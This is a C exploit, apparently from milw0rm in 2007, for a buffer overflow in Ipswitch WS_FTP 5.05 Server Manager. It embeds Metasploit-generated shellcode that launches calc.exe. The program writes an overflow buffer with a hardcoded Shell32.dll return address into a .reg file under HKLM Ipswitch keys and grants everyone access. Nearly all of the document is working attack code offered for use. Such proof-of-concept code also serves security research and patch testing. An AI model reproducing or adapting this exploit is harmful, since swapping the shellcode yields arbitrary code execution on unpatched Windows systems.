/****************************************************************************
* Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow *
* *
* *
* There's a buffer overflow in iftpmgr.exe that can be triggered by *
* registering a long site command. The result is then saved in the registry *
* and every time the group is checked the bug appears. *
* This exploit launches calc.exe. *
* *
* Tested against Win XP SP2 FR. *
* Have Fun! *
* *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr> *
****************************************************************************/
#include "stdio.h"
#include "stdlib.h"
/* win32_exec - EXITFUNC=process CMD=calc.exe Size=165 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x5C\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e"
"\x68\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9"
"\x8b\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea"
"\x01\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57"
"\x9b\x43\x45\x32\xe3";
int main(int argc, char* argv[])
{
FILE* regfile;
char evilbuff[250];
printf("[+] Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow\n");
printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
if (argc!=3) {
printf("[+] Usage: %s <Group> <file.reg>\n",argv[0]);
printf("[+] ex: %s Marsu Pilami.reg\n",argv[0]);
return 0;
}
memset(evilbuff,'C',250);
memcpy(evilbuff+4,CalcShellcode,strlen(CalcShellcode));
memcpy(evilbuff+202,"\x46\xE4\xBD\x7C",4); /*00 50 00 00 in Shell32.dll. We need this to jump back to our shellcode =)
CALL DWORD PTR DS:[EDX+90] and our code is at 0x00500040 in DS*/
memset(evilbuff+215,0,1);
regfile=fopen(argv[2],"wb");
fprintf(regfile,"Windows Registry Editor Version 5.00\r\n\r\n");
fprintf(regfile,"[HKEY_LOCAL_MACHINE\\SOFTWARE\\Ipswitch\\iFtpSvc\\Domains\\%s\\Commands]\r\n\r\n",argv[1]);
fprintf(regfile,"[HKEY_LOCAL_MACHINE\\SOFTWARE\\Ipswitch\\iFtpSvc\\Domains\\%s\\Commands\\aa]\r\n\"_Executable\"=\"%s\"\r\n",argv[1],evilbuff);
fprintf(regfile,"\"_Arguments\"=\"%s\"\r\n",evilbuff);
fprintf(regfile,"\"*everyone\"=dword:000000ff\r\n\r\n");
fclose(regfile);
printf("[+] Done. Have fun!\n");
return 0;
}
// milw0rm.com [2007-04-02]